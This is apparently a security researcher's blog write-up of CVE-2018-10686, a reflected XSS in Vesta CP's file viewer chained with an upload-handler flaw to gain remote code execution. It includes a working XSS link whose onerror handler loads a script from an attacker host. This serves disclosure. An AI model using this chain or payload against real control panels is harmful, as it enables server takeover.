CVE-2018–10686: Vesta CP 0.9.8–20 rXSS to RCE
You shouldn’t read this. It’s boring.
The Plot: Exposition
Vesta CP it’s a lightweight open-source control panel supported by Digital Ocean and others. This vulnerability lied there for about 2 years, I haven’t checked in which version it was introduced.
Well, the plot it’s quite scholastic, our prerequisites are introduced:
$_SESSION['FILEMANAGER_KEY']
has to be there and not empty. FileManager it’s a commercial plugin that Vesta sells for 3$/mo. Anyway people figured these checks are a joke and there is plenty of HOW-TO on forums.- Victim logged.
On line 40 $path
it’s injected there without any sanitization, resulting in a reflected XSS.
The Plot: Rising action
>Okay, what should we do with this XSS?
>Why not trying to upload a PHP shell, thus gaining RCE, luv?
> Sounds good to me💖.
Vesta CP handle uploads with a slightly customized version of this file-upload plugin. By randomly trying to upload things, apparently, you can only upload in /tmp or /home/$victim. Which makes sense since this is a control panel. But maybe we can achieve something more?
Let’s check the source!
The branch we end at is line 1130, v-copy-file it’s called with the victim username, file, path.
line 44 prevents us from playing games with symlinks, but we really don’t have to 🙃. Back to web/upload/UploadHandler.php:1121 if the file already exists, then file_put_contents() it’s called, without any controls except for these two:
- Content-Range header sent
- Our file being bigger than the current one.
This means we can write wherever PHP can, and that isn’t good for a control panel, innit?
The Plot: Resolution
Putting all the pieces together, an attacker just needs to trick the victim into clicking on something like:
http://victim.site:8083/view/file/index.php?path=x" onerror=$.getScript("http://attacker.site/malicious.js") style="
with malicious.js
being something like:
Hence gaining RCE.
>kthxbai
Notes: Recently Vesta has been exploited in the wild with an RCE, this bug has nothing to with it; but I may write something about it, since a lot of people on twitter talked nonsense about what could’ve been the cause.